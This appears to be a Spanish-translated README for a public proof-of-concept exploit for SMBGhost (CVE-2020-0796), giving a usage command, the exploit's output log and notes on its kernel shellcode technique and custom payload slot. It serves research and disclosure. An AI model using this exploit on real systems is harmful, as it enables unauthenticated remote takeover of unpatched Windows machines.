
Exploit de ejecución remota de código de prueba de concepto para CVE-2020-0796 (SMBGhost) que apunta a la vulnerabilidad de compresión de Windows SMBv3 con inyección de shellcode en el kernel.
PoC de RCE para CVE-2020-0796 "SMBGhost"
¡Solo para fines demostrativos! Úsalo únicamente como referencia. En serio. No ha sido probado fuera de mi entorno de laboratorio. Se escribió rápidamente y necesita trabajo para ser más fiable. A veces genera un BSOD. Usarlo para cualquier propósito que no sea la autoeducación es una idea extremadamente mala. Tu computadora se incendiará. Los cachorros morirán.
Ahora que hemos aclarado eso...
Ejemplo de uso:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Reemplaza el payload en USER_PAYLOAD dentro de exploit.py. Máximo 600 bytes. Si necesitas más, modifica el código del shell del kernel tú mismo.
Código lznt1 de aquí. Modificado para añadir una función de "mala compresión" que corrompe el encabezado del buffer SRVNET sin causar un crash.
Consulta este excelente artículo de Ricera Security para más detalles sobre los métodos que utilicé: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html